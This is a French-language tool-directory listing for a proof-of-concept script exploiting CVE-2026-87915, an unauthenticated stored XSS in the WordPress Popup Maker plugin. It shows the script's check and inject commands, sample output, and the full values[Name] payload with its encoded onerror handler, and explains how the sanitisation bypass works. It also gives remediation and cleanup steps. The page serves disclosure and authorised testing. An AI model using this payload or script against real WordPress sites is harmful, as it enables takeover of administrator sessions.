Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-87915-PoC-pwnVader — PoC shell pour CVE-2026-87915, une XSS stockée non authentifiée dans le plugin WordPress Popup Maker (<=1.24.0). Il identifie le plugin et démontre l'injection de la charge utile. | Kitploit
Outils/GitHubGitHub/pwnvader/cve-2026-87915-poc-pwnvader
Scanners de VulnérabilitésScanners de Vulnérabilités WebAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHub
pwnvader/cve-2026-87915-poc-pwnvader

CVE-2026-87915-PoC-pwnVader

PoC shell pour CVE-2026-87915, une XSS stockée non authentifiée dans le plugin WordPress Popup Maker (<=1.24.0). Il identifie le plugin et démontre l'injection de la charge utile.

Voir le dépôt
1il y a 4 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87915 — Popup Maker <= 1.24.0 — XSS stocké non authentifié (values[Name])

Auteur : pwnVader · Licence : MIT (racine du dépôt)

ComposantPopup Maker – Boost Sales, Conversions, Optins, Subscribers (extension WordPress)
TypeCWE-79 — Cross-Site Scripting stocké
Affecté<= 1.24.0
Corrigé1.25.0
CVECVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)
PoCpoc.sh

Résumé

Un formulaire public d'optin/newsletter de Popup Maker accepte le paramètre values[Name] sans assainissement (action=pum_sub_form). La valeur est stockée côté serveur puis affichée dans l'écran d'administration Subscribers. Le filtrage wp_kses() appliqué en sortie est insuffisant dans ce contexte : les entités HTML à l'intérieur des valeurs d'attributs autorisées survivent à la normalisation et sont évaluées par le sink DOM jQuery( link.attr('href') ) dans wp-admin/js/common.js lorsqu'un administrateur clique sur une ancre d'onglet d'aide contextuelle. Effet net : XSS stocké non authentifié contre un administrateur (un clic requis côté admin).

Utilisation

root@kitploit:~
# Interactive menu
./poc.sh

# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com

# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized

inject utilise par défaut un e-mail de test unique et affiche les étapes de nettoyage (interface d'administration ou DELETE FROM wp_pum_subscribers WHERE email = '…';).

Exemple de sortie (check)

root@kitploit:~
== CVE-2026-87915 PoC (check) ==
target: https://example.com

[1] Plugin fingerprint (read-only)
  [PASS] Popup Maker assets are served (plugin installed)
  [info] detected version: 1.22.0
  [PASS] version 1.22.0 is in the affected range (<= 1.24.0)

[2] Public subscribe form detection (read-only)
  [PASS] Popup Maker markup found on the site (a public form may accept values[Name])

Exemple de sortie (inject, labo)

root@kitploit:~
[3] Stored injection via pum_sub_form (writes one subscriber row)
  response: {"success":true,"data":{"message":"You have been subscribed!"}}
  [PASS] the server accepted and stored the payload unauthenticated

Le contournement, en une ligne

root@kitploit:~
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
  • values[name] (minuscules) est le champ normal ; le values[Name] à casse mixte entre en collision lors de la normalisation des clés de tableau PHP et fait passer la charge utile.
  • wp_kses() autorise l'élément <a href> ; le `` encodé en entités à l'intérieur de l'attribut survit au filtrage et est décodé/normalisé plus tard.
  • wp-admin/js/common.js évalue jQuery( link.attr('href') ), ce qui analyse le HTML décodé et déclenche le gestionnaire onerror.

Remédiation

  • Mettre à jour Popup Maker vers 1.25.0 ou une version ultérieure (esc_html() + sanitize_text_field() sur la valeur stockée ; voir le changeset du fournisseur pour classes/Admin/Subscribers/Table.php).
  • En attendant : restreindre/désactiver les formulaires publics d'abonnés, ou filtrer values[Name] au niveau du WAF.

Références

  • NVD — CVE-2026-87915 : https://nvd.nist.gov/vuln/detail/CVE-2026-87915
  • Correctif du fournisseur : Popup Maker 1.25.0 (changeset Trac de l'extension 3690634)

Avertissement

Pour des tests de sécurité autorisés uniquement. check est en lecture seule ; inject crée exactement une ligne d'abonné de test — supprimez-la ensuite avec la commande de nettoyage affichée.

Télécharger l’outil